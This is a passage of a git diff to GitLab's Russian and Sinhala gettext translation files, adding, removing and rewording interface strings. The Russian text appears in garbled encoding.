@@ -33137,11 +32942,11 @@ msgstr "Сниппет виден только учаÑтникам проект
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The specified tab is invalid, please select another"
+msgid "The source branch will be deleted"
msgstr ""
-msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
-msgstr "Этап поÑтановки показывает Ð²Ñ€ÐµÐ¼Ñ Ð¼ÐµÐ¶Ð´Ñƒ уÑпешным выполнением запроÑа на ÑлиÑние и развертыванием кода в производÑтвенном окружении. Данные будут автоматичеÑки добавлены поÑле первого Ñ€Ð°Ð·Ð²ÐµÑ€Ñ‚Ñ‹Ð²Ð°Ð½Ð¸Ñ Ð² продакшн."
+msgid "The specified tab is invalid, please select another"
+msgstr ""
msgid "The start date must be ealier than the end date."
msgstr ""
@@ -33155,9 +32960,6 @@ msgstr ""
msgid "The tag name can't be changed for an existing release."
msgstr ""
-msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
-msgstr "Этап теÑÑ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ð¿Ð¾ÐºÐ°Ð·Ñ‹Ð²Ð°ÐµÑ‚ времÑ, которое требуетÑÑ GitLab CI Ð´Ð»Ñ Ð·Ð°Ð¿ÑƒÑка вÑех Ñборочных линий, ÑвÑзанных Ñ ÑоответÑтвующим запроÑом на ÑлиÑние. Данные будут автоматичеÑки добавлены поÑле Ð·Ð°Ð²ÐµÑ€ÑˆÐµÐ½Ð¸Ñ Ñ€Ð°Ð±Ð¾Ñ‚Ñ‹ вашей первой Ñборочной линии."
-
msgid "The time taken by each data entry gathered by that stage."
msgstr "ВремÑ, затраченное каждым Ñлементом, Ñобранным на Ñтом Ñтапе."
@@ -33167,9 +32969,6 @@ msgstr "Ð’Ñ€ÐµÐ¼Ñ Ð´ÐµÐ¹ÑÑ‚Ð²Ð¸Ñ Ð¾Ð±Ð½Ð¾Ð²Ð»ÐµÐ½Ð¸Ñ Ð¸Ñтечет чере
msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
-msgid "The usage ping is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "The user is being deleted."
msgstr "Пользователь удалÑетÑÑ."
@@ -33188,9 +32987,6 @@ msgstr ""
msgid "The username for the Jenkins server."
msgstr ""
-msgid "The value lying at the midpoint of a series of observed values. E.g., between 3, 5, 9, the median is 5. Between 3, 5, 7, 8, the median is (5+7)/2 = 6."
-msgstr "Среднее значение в Ñ€Ñду. Пример: между 3, 5, 9, Ñреднее 5, между 3, 5, 7, 8, Ñреднее (5+7)/2 = 6."
-
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
@@ -33332,9 +33128,6 @@ msgstr ""
msgid "There was a problem communicating with your device."
msgstr "Произошла ошибка ÑÐ¾ÐµÐ´Ð¸Ð½ÐµÐ½Ð¸Ñ Ñ Ð²Ð°ÑˆÐ¸Ð¼ уÑтройÑтвом."
-msgid "There was a problem dismissing this notification."
-msgstr ""
-
msgid "There was a problem fetching branches."
msgstr ""
@@ -33455,6 +33248,9 @@ msgstr "При импорте проекта Jira произошла ошибкÐ
msgid "There was an error loading merge request approval settings."
msgstr ""
+msgid "There was an error loading related feature flags"
+msgstr ""
+
msgid "There was an error loading users activity calendar."
msgstr ""
@@ -33530,6 +33326,9 @@ msgstr "Произошла ошибка при получении данных Ð
msgid "There was an error while fetching value stream analytics duration data."
msgstr "Произошла ошибка при получении аналитичеÑких данных о длительноÑти потока ценноÑти."
+msgid "There was an error while fetching value stream summary data."
+msgstr ""
+
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
msgstr ""
@@ -33563,7 +33362,7 @@ msgstr ""
msgid "Third Party Advisory Link"
msgstr ""
-msgid "Third party offers"
+msgid "Third-party offers"
msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
@@ -33659,6 +33458,9 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr "Эта диаграмма не может быть отображена"
+msgid "This code snippet contains everything reflected in the configuration form. Copy and paste it into %{linkStart}.gitlab-ci.yml%{linkEnd} file and save your changes. Future %{scanType} scans will use these settings."
+msgstr ""
+
msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
@@ -33698,9 +33500,6 @@ msgstr ""
msgid "This diff is collapsed."
msgstr "Это отличие Ñвёрнуто."
-msgid "This diff was suppressed by a .gitattributes entry."
-msgstr "Это отличие было подавлено запиÑью .gitattributes."
-
msgid "This directory"
msgstr "Этот каталог"
@@ -33785,7 +33584,7 @@ msgstr "Это ÑпиÑок уÑтройÑтв, c которых вошли в Ð
msgid "This is a merge train pipeline"
msgstr ""
-msgid "This is a private email address %{helpIcon} generated just for you. Anyone who gets ahold of it can create issues or merge requests as if they were you. You should %{resetLinkStart}reset it%{resetLinkEnd} if that ever happens."
+msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
msgid "This is a security log of important events involving your account."
@@ -34068,7 +33867,7 @@ msgid "This user has the %{access} role in the %{name} project."
msgstr ""
msgid "This user is banned"
-msgstr ""
+msgstr "Этот пользователь забанен"
msgid "This user is blocked"
msgstr ""
@@ -34528,9 +34327,15 @@ msgstr ""
msgid "To connect an SVN repository, check out %{svn_link}."
msgstr "Чтобы подключить репозиторий SVN, проверьте %{svn_link}."
+msgid "To continue, you need to select the link in the confirmation email we sent to verify your email address. If you didn't get our email, select %{strongStart}Resend confirmation email.%{strongEnd}"
+msgstr ""
+
msgid "To define internal users, first enable new users set to external"
msgstr ""
+msgid "To enable Registration Features, make sure \"Enable service ping\" is checked."
+msgstr ""
+
msgid "To ensure no loss of personal content, this account should only be used for matters related to %{group_name}."
msgstr ""
@@ -34615,9 +34420,6 @@ msgstr ""
msgid "To set up this service:"
msgstr ""
-msgid "To simplify the billing process, GitLab will collect user counts in order to prorate charges for user growth throughout the year using a quarterly reconciliation process."
-msgstr ""
-
msgid "To specify the notification level per project of a group you belong to, you need to visit project page and change notification level there."
msgstr "Чтобы указать уровень уведомлений по проекту группы, к которой вы принадлежите, необходимо поÑетить Ñтраницу проекта и изменить уровень уведомлений."
@@ -34717,9 +34519,18 @@ msgstr ""
msgid "Token"
msgstr ""
+msgid "Token name"
+msgstr ""
+
msgid "Token valid until revoked"
msgstr ""
+msgid "Tokens|Scopes set the permission levels granted to the token."
+msgstr ""
+
+msgid "Tokens|Select scopes"
+msgstr ""
+
msgid "Tomorrow"
msgstr "Завтра"
@@ -34732,6 +34543,9 @@ msgstr "Слишком много проÑтранÑтв имен включен
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr "Слишком много проектов включено. Ð”Ð»Ñ ÑƒÐ¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð¸Ð¼Ð¸ вам потребуетÑÑ ÐºÐ¾Ð½Ñоль или API."
+msgid "TopNav|Go back"
+msgstr ""
+
msgid "Topics (optional)"
msgstr "Темы (необÑзательно)"
@@ -34780,6 +34594,15 @@ msgstr "ТраÑÑировка"
msgid "Track groups of issues that share a theme, across projects and milestones"
msgstr "Следите за обÑуждениÑми, Ñгруппированными по темам, Ñразу из неÑкольких проектов и Ñтапов"
+msgid "Track important events in your GitLab instance."
+msgstr ""
+
+msgid "Track important events in your group."
+msgstr ""
+
+msgid "Track important events in your project."
+msgstr ""
+
msgid "Track time with quick actions"
msgstr "ОтÑлеживайте Ð²Ñ€ÐµÐ¼Ñ Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ быÑтрых дейÑтвий"
@@ -35261,12 +35084,6 @@ msgstr "К Ñожалению, ваше пиÑьмо в GitLab не может Ð
msgid "Unhappy?"
msgstr ""
-msgid "Uninstall"
-msgstr "Удалить"
-
-msgid "Uninstalling"
-msgstr "Удаление"
-
msgid "Units|ms"
msgstr "мÑ"
@@ -35357,21 +35174,6 @@ msgstr ""
msgid "UnscannedProjects|60 or more days"
msgstr "60 или больше дней"
-msgid "UnscannedProjects|Default branch scanning by project"
-msgstr ""
-
-msgid "UnscannedProjects|Out of date"
-msgstr ""
-
-msgid "UnscannedProjects|Project scanning"
-msgstr ""
-
-msgid "UnscannedProjects|Untested"
-msgstr ""
-
-msgid "UnscannedProjects|Your projects are up do date! Nice job!"
-msgstr ""
-
msgid "Unschedule job"
msgstr ""
@@ -35507,9 +35309,6 @@ msgstr "Обновлено"
msgid "Updated %{updated_at} by %{updated_by}"
msgstr "Обновлено %{updated_at} %{updated_by}"
-msgid "Updated to %{linkStart}chart v%{linkEnd}"
-msgstr ""
-
msgid "Updates"
msgstr ""
@@ -35682,7 +35481,7 @@ msgid "UsageQuota|This namespace contains locked projects"
msgstr ""
msgid "UsageQuota|This namespace has no projects which use shared runners"
-msgstr "Ð’ Ñтом проÑтранÑтве имен нет проектов, которые иÑпользуют общие обработчики заданий"
+msgstr "Ð’ Ñтом проÑтранÑтве имён нет проектов, которые иÑпользуют общие Runner'Ñ‹"
msgid "UsageQuota|This project is at risk of being locked because purchased storage is running low."
msgstr ""
@@ -35846,9 +35645,15 @@ msgstr "ИÑпользуйте %{code_start}::%{code_end}, чтобы Ñозда
msgid "Use .gitlab-ci.yml"
msgstr ""
+msgid "Use GitLab Runner in AWS"
+msgstr ""
+
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
+msgid "Use an AWS CloudFormation Template (CFT) to install and configure GitLab Runner in AWS."
+msgstr ""
+
msgid "Use cURL"
msgstr ""
@@ -35978,6 +35783,9 @@ msgstr ""
msgid "User was successfully updated."
msgstr "Пользователь уÑпешно изменен."
+msgid "UserAvailability|%{author} %{spanStart}(Busy)%{spanEnd}"
+msgstr ""
+
msgid "UserAvailability|%{author} (Busy)"
msgstr ""
@@ -36275,9 +36083,6 @@ msgstr ""
msgid "Value"
msgstr ""
-msgid "Value Stream"
-msgstr "Поток ценноÑти"
-
msgid "Value Stream Analytics"
msgstr "Ðналитика потока ценноÑти"
@@ -36287,9 +36092,15 @@ msgstr "Ðналитика потока ценноÑти поможет вам Ð
msgid "Value Stream Analytics gives an overview of how much time it takes to go from idea to production in your project."
msgstr "Ðналитика потока ценноÑти дает общее предÑтавление о том, Ñколько времени в вашем проекте занимает путь от идеи до выпуÑка."
+msgid "Value stream"
+msgstr ""
+
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr "У Ð½Ð°Ñ Ð½ÐµÐ´Ð¾Ñтаточно данных Ð´Ð»Ñ Ð¾Ñ‚Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ñтого Ñтапа."
+msgid "ValueStreamAnalytics|%{stageCount}+ items"
+msgstr ""
+
msgid "ValueStreamAnalytics|%{value}M"
msgstr ""
@@ -36371,9 +36182,6 @@ msgstr "Различные наÑтройки, которые влиÑÑŽÑ‚ на
msgid "Verification concurrency limit"
msgstr ""
-msgid "Verification information"
-msgstr ""
-
msgid "Verification status"
msgstr ""
@@ -36463,6 +36271,9 @@ msgstr "Показать вÑÑŽ панель"
msgid "View full log"
msgstr ""
+msgid "View group in admin area"
+msgstr ""
+
msgid "View group labels"
msgstr "ПроÑмотр меток группы"
@@ -36481,9 +36292,6 @@ msgstr ""
msgid "View job"
msgstr ""
-msgid "View job dependencies in the pipeline graph!"
-msgstr ""
-
msgid "View job log"
msgstr ""
@@ -36517,6 +36325,9 @@ msgstr "ПроÑмотр панели производительноÑти."
msgid "View project"
msgstr ""
+msgid "View project in admin area"
+msgstr ""
+
msgid "View project labels"
msgstr "ПроÑмотр меток проекта"
@@ -36586,7 +36397,10 @@ msgstr "Ðе определен"
msgid "Visit settings page"
msgstr ""
-msgid "Visual Studio Code"
+msgid "Visual Studio Code (HTTPS)"
+msgstr ""
+
+msgid "Visual Studio Code (SSH)"
msgstr ""
msgid "VisualReviewApp|%{stepStart}Step 1%{stepEnd}. Copy the following script:"
@@ -36727,7 +36541,7 @@ msgstr ""
msgid "VulnerabilityManagement|invalid issue link or ID"
msgstr ""
-msgid "VulnerabilityStatusTypes|All"
+msgid "VulnerabilityStatusTypes|All statuses"
msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
@@ -36859,6 +36673,9 @@ msgstr "Предупреждение:"
msgid "Warning: Displaying this diagram might cause performance issues on this page."
msgstr ""
+msgid "Warning: Synchronizing LDAP removes direct members' access."
+msgstr ""
+
msgid "We are currently unable to fetch data for the pipeline header."
msgstr ""
@@ -37159,6 +36976,15 @@ msgstr ""
msgid "Welcome, %{name}!"
msgstr ""
+msgid "What are group audit events?"
+msgstr ""
+
+msgid "What are instance audit events?"
+msgstr ""
+
+msgid "What are project audit events?"
+msgstr ""
+
msgid "What are you searching for?"
msgstr ""
@@ -37168,6 +36994,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is Auto DevOps?"
+msgstr ""
+
msgid "What is repository mirroring?"
msgstr ""
@@ -37199,7 +37028,7 @@ msgid "When a deployment job is successful, skip older deployment jobs that are
msgstr ""
msgid "When a runner is locked, it cannot be assigned to other projects"
-msgstr "Когда процеÑÑ Runner заблокирован, он не может быть назначен другим проектам"
+msgstr "Когда Runner закреплён, он не может быть назначен другим проектам"
msgid "When an event in GitLab triggers a webhook, you can use the request details to figure out if something went wrong."
msgstr ""
@@ -37370,7 +37199,7 @@ msgstr ""
msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
msgstr ""
-msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgid "WikiPage|Are you sure you want to switch back to the classic editor?"
msgstr ""
msgid "WikiPage|Cancel"
@@ -37391,6 +37220,9 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Get a richer editing experience"
+msgstr ""
+
msgid "WikiPage|Keep editing"
msgstr ""
@@ -37406,16 +37238,16 @@ msgstr ""
msgid "WikiPage|Save changes"
msgstr ""
-msgid "WikiPage|Switch to old editor"
+msgid "WikiPage|Switch me back to the classic editor."
msgstr ""
-msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
+msgid "WikiPage|Switch to classic editor"
msgstr ""
-msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgid "WikiPage|Switching to the classic editor will discard any changes you've made in the new editor."
msgstr ""
-msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly. Switching back to the classic editor will discard changes you've made in the new editor."
msgstr ""
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
@@ -37430,10 +37262,16 @@ msgstr ""
msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
msgstr ""
+msgid "WikiPage|Try the new visual Markdown editor. Read the %{linkStart}documentation%{linkEnd} to learn what's currently supported."
+msgstr ""
+
+msgid "WikiPage|Try this later"
+msgstr ""
+
msgid "WikiPage|Update %{pageTitle}"
msgstr ""
-msgid "WikiPage|Use new editor"
+msgid "WikiPage|Use the new editor"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -37703,6 +37541,9 @@ msgstr ""
msgid "You can easily contribute to them by requesting to join these groups."
msgstr "Ð’Ñ‹ можете легко поучаÑтвовать в них, попроÑив приÑоединитьÑÑ."
+msgid "You can enable Registration Features because Service Ping is enabled. To continue using Registration Features in future, you will also need to register with GitLab via a new cloud licensing service."
+msgstr ""
+
msgid "You can enable project access token creation in %{link_start}group settings%{link_end}."
msgstr ""
@@ -37742,9 +37583,6 @@ msgstr ""
msgid "You can now export your security dashboard to a CSV report."
msgstr ""
-msgid "You can now group jobs in the pipeline graph based on which jobs are configured to run first, if you use the %{codeStart}needs:%{codeEnd} keyword to establish job dependencies in your CI/CD pipelines. %{linkStart}Learn how to speed up your pipeline with needs.%{linkEnd}"
-msgstr ""
-
msgid "You can now submit a merge request to get this change into the original branch."
msgstr "Теперь вы можете отправить Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð½Ð° ÑлиÑние, чтобы внеÑти Ñто изменение в иÑходную ветку."
@@ -37922,21 +37760,18 @@ msgstr ""
msgid "You have imported from this project %{numberOfPreviousImports} times before. Each new import will create duplicate issues."
msgstr ""
-msgid "You have insufficient permissions to create a Todo for this alert"
+msgid "You have insufficient permissions to configure escalation policies for this project"
msgstr ""
-msgid "You have insufficient permissions to create an HTTP integration for this project"
+msgid "You have insufficient permissions to create a Todo for this alert"
msgstr ""
-msgid "You have insufficient permissions to create an escalation policy for this project"
+msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
-msgid "You have insufficient permissions to remove an escalation policy from this project"
-msgstr ""
-
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -38000,9 +37835,6 @@ msgstr "Ð’Ñ‹ должны ввеÑти правильный текущий паÑ
msgid "You must provide your current password in order to change it."
msgstr "Ð”Ð»Ñ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ñ Ð¿Ð°Ñ€Ð¾Ð»Ñ Ð½ÐµÐ¾Ð±Ñ…Ð¾Ð´Ð¸Ð¼Ð¾ ввеÑти текущий пароль."
-msgid "You must select a stack for configuring your cloud provider. Learn more about"
-msgstr ""
-
msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
@@ -38162,12 +37994,6 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your Commit Email will be used for web based operations, such as edits and merges."
-msgstr "Ваш Ð°Ð´Ñ€ÐµÑ Ñлектронной почты Ð´Ð»Ñ ÐºÐ¾Ð¼Ð¼Ð¸Ñ‚Ð¾Ð² будет иÑпользоватьÑÑ Ð´Ð»Ñ Ð²ÐµÐ±-операций, таких как редактирование и ÑлиÑние."
-
-msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
-msgstr "Ваша почта Ð´Ð»Ñ ÑƒÐ²ÐµÐ´Ð¾Ð¼Ð»ÐµÐ½Ð¸Ð¹ по умолчанию будет иÑпользоватьÑÑ Ð´Ð»Ñ ÑƒÐ²ÐµÐ´Ð¾Ð¼Ð»ÐµÐ½Ð¸Ð¹ учетной запиÑи, еÑли не уÑтановлен Ð°Ð´Ñ€ÐµÑ %{openingTag}Ñлектронной почты Ð´Ð»Ñ ÐºÐ¾Ð½ÐºÑ€ÐµÑ‚Ð½Ð¾Ð¹ группы%{closingTag}."
-
msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
@@ -38195,18 +38021,12 @@ msgstr ""
msgid "Your Personal Access Token was revoked"
msgstr ""
-msgid "Your Primary Email will be used for avatar detection."
-msgstr "Ваша оÑÐ½Ð¾Ð²Ð½Ð°Ñ Ð¿Ð¾Ñ‡Ñ‚Ð° будет иÑпользоватьÑÑ Ð´Ð»Ñ Ð¾Ð±Ð½Ð°Ñ€ÑƒÐ¶ÐµÐ½Ð¸Ñ Ð°Ð²Ð°Ñ‚Ð°Ñ€Ð°."
-
msgid "Your Projects (default)"
msgstr "Ваши проекты (по умолчанию)"
msgid "Your Projects' Activity"
msgstr "ÐктивноÑÑ‚ÑŒ ваших проектов"
-msgid "Your Public Email will be displayed on your public profile."
-msgstr "Ваша Ð¿ÑƒÐ±Ð»Ð¸Ñ‡Ð½Ð°Ñ Ð¿Ð¾Ñ‡Ñ‚Ð° будет отображатьÑÑ Ð² вашем профиле."
-
msgid "Your SSH key has expired"
msgstr ""
@@ -38219,12 +38039,6 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr "Ваши ключи SSH (%{count})"
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
-msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
msgid "Your To-Do List"
msgstr ""
@@ -38294,12 +38108,18 @@ msgstr "Ваш комментарий не может быть обновлен!
msgid "Your comment will be discarded."
msgstr ""
+msgid "Your commit email is used for web based operations, such as edits and merges."
+msgstr ""
+
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr "Ваша панель ÑƒÐ¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð±Ñ‹Ð»Ð° Ñкопирована. Ð’Ñ‹ можете %{web_ide_link_start}отредактировать Ñто здеÑÑŒ%{web_ide_link_end}."
msgid "Your dashboard has been updated. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr "Ваша панель ÑƒÐ¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð±Ñ‹Ð»Ð° обновлена. Ð’Ñ‹ можете %{web_ide_link_start}отредактировать её здеÑÑŒ%{web_ide_link_end}."
+msgid "Your default notification email is used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
+msgstr ""
+
msgid "Your deployment services will be broken, you will need to manually fix the services after renaming."
msgstr "Ваши Ñлужбы Ñ€Ð°Ð·Ð²Ñ‘Ñ€Ñ‚Ñ‹Ð²Ð°Ð½Ð¸Ñ ÑломаютÑÑ, и вам нужно будет вручную иÑправить Ñлужбы поÑле переименованиÑ."
@@ -38384,6 +38204,9 @@ msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
msgstr ""
+msgid "Your primary email is used for avatar detection. You can change it in your %{openingTag}profile settings%{closingTag}."
+msgstr ""
+
msgid "Your profile"
msgstr ""
@@ -38393,6 +38216,9 @@ msgstr "Ваш лимит проектов - %{limit} проектов! Пожа
msgid "Your projects"
msgstr "Ваши проекты"
+msgid "Your public email will be displayed on your public profile."
+msgstr ""
+
msgid "Your request for access could not be processed: %{error_meesage}"
msgstr ""
@@ -38487,6 +38313,9 @@ msgstr ""
msgid "already being used for another group or project %{timebox_name}."
msgstr ""
+msgid "already being used for another iteration within this cadence."
+msgstr ""
+
msgid "already has a \"created\" issue link"
msgstr ""
@@ -38544,12 +38373,21 @@ msgstr ""
msgid "can contain only letters of the Base64 alphabet (RFC4648) with the addition of '@', ':' and '.'"
msgstr ""
+msgid "can contain only lowercase letters, digits, and '_'."
+msgstr ""
+
msgid "can only be changed by a group admin."
msgstr ""
+msgid "can only have one escalation policy"
+msgstr ""
+
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't be the same as the source project"
+msgstr ""
+
msgid "can't include: %{invalid_storages}"
msgstr ""
@@ -38574,6 +38412,9 @@ msgstr ""
msgid "cannot be enabled unless all domains have TLS certificates"
msgstr "невозможно включить, еÑли вÑе домены не имеют Ñертификата TLS"
+msgid "cannot be enabled until a valid credit card is on file"
+msgstr ""
+
msgid "cannot be modified"
msgstr "не может быть изменено"
@@ -38592,9 +38433,6 @@ msgstr ""
msgid "cannot merge"
msgstr ""
-msgid "child-pipeline"
-msgstr ""
-
msgid "ciReport|%{degradedNum} degraded"
msgstr ""
@@ -38899,6 +38737,9 @@ msgstr ""
msgid "created"
msgstr "Ñоздан"
+msgid "created %{issuable_created} by %{author}"
+msgstr ""
+
msgid "created %{timeAgoString} by %{email} via %{user}"
msgstr ""
@@ -38989,6 +38830,9 @@ msgstr "включено"
msgid "encrypted: needs to be a :required, :optional or :migrating!"
msgstr ""
+msgid "ending with MIME type format is not allowed."
+msgstr ""
+
msgid "entries cannot be larger than 255 characters"
msgstr ""
@@ -39072,9 +38916,6 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "general, development"
-msgstr ""
-
msgid "group"
msgstr "группа"
@@ -39464,6 +39305,9 @@ msgstr "Слить"
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr "СлиÑние не удалоÑÑŒ."
@@ -39500,9 +39344,6 @@ msgstr "Ð”Ð¾Ð¿Ð¾Ð»Ð½Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð°Ñ Ð¸Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ð¸Ñ"
msgid "mrWidget|Open in Web IDE"
msgstr "Открыть в Web IDE"
-msgid "mrWidget|Pipeline blocked. The pipeline for this merge request requires a manual action to proceed"
-msgstr ""
-
msgid "mrWidget|Plain diff"
msgstr "Обычное отличие"
@@ -39563,7 +39404,7 @@ msgstr "СÑылка HEAD иÑходной ветви недавно изменÐ
msgid "mrWidget|The source branch has been deleted"
msgstr ""
-msgid "mrWidget|The source branch is %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} the target branch"
+msgid "mrWidget|The source branch is %{link} the target branch"
msgstr ""
msgid "mrWidget|The source branch is being deleted"
@@ -39644,7 +39485,10 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must contain only valid frameworks"
+msgid "must be inside the fork network"
+msgstr ""
+
+msgid "must have a unique schedule, status, and elapsed time"
msgstr ""
msgid "my-awesome-group"
@@ -39707,6 +39551,9 @@ msgstr "%{item}, и %{lastItem}"
msgid "on track"
msgstr "по плану"
+msgid "only available on top-level groups."
+msgstr ""
+
msgid "open issue"
msgstr ""
@@ -40000,6 +39847,9 @@ msgstr "название тега"
msgid "the correct format."
msgstr ""
+msgid "the file"
+msgstr ""
+
msgid "the following issue(s)"
msgstr "Ñледующее(ие) обÑуждение(Ñ)"
@@ -40102,6 +39952,9 @@ msgstr "проÑмотреть бинарные данные"
msgid "view the source"
msgstr ""
+msgid "visibility"
+msgstr ""
+
msgid "vulnerability"
msgid_plural "vulnerabilities"
msgstr[0] "уÑзвимоÑÑ‚ÑŒ"
diff --git a/locale/si_LK/gitlab.po b/locale/si_LK/gitlab.po
index bad27a879b3..0bfbd1923ea 100644
--- a/locale/si_LK/gitlab.po
+++ b/locale/si_LK/gitlab.po
@@ -14,14 +14,11 @@ msgstr ""
"X-Crowdin-Language: si-LK\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-06-01 20:28\n"
+"PO-Revision-Date: 2021-07-01 21:11\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
-msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
-msgstr ""
-
msgid " %{start} to %{end}"
msgstr ""
@@ -89,6 +86,9 @@ msgstr ""
msgid "\"el\" parameter is required for createInstance()"
msgstr ""
+msgid "#general, #development"
+msgstr ""
+
msgid "%d Approval"
msgid_plural "%d Approvals"
msgstr[0] ""
@@ -267,11 +267,6 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
-msgid "%d item"
-msgid_plural "%d items"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -421,6 +416,24 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{bold_start}%{count}%{bold_end} issue"
+msgid_plural "%{bold_start}%{count}%{bold_end} issues"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} member"
+msgid_plural "%{bold_start}%{count}%{bold_end} members"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} opened merge request"
+msgid_plural "%{bold_start}%{count}%{bold_end} opened merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{closedWeight} complete, %{openWeight} incomplete"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -464,6 +477,11 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
+msgid "%{count} item"
+msgid_plural "%{count} items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} items per page"
msgstr ""
@@ -654,10 +672,10 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
+msgid "%{link_start}Learn more%{link_end} about roles."
msgstr ""
-msgid "%{link_start}Read more%{link_end} about role permissions"
+msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
@@ -821,6 +839,9 @@ msgid_plural "%{securityScanner} results are not available because a pipeline ha
msgstr[0] ""
msgstr[1] ""
+msgid "%{service_ping_link_start}Learn more%{service_ping_link_end} about what information is shared with GitLab Inc."
+msgstr ""
+
msgid "%{size} %{unit}"
msgstr ""
@@ -854,9 +875,6 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
-msgid "%{strongStart}Deletes%{strongEnd} source branch"
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -957,12 +975,6 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
-msgid "%{type} License"
-msgstr ""
-
-msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
-msgstr ""
-
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -993,6 +1005,9 @@ msgstr ""
msgid "%{user} created an issue: %{issue_link}"
msgstr ""
+msgid "%{value} is not included in the list"
+msgstr ""
+
msgid "%{value} s"
msgstr ""
@@ -1480,9 +1495,6 @@ msgstr ""
msgid "A rebase is already in progress."
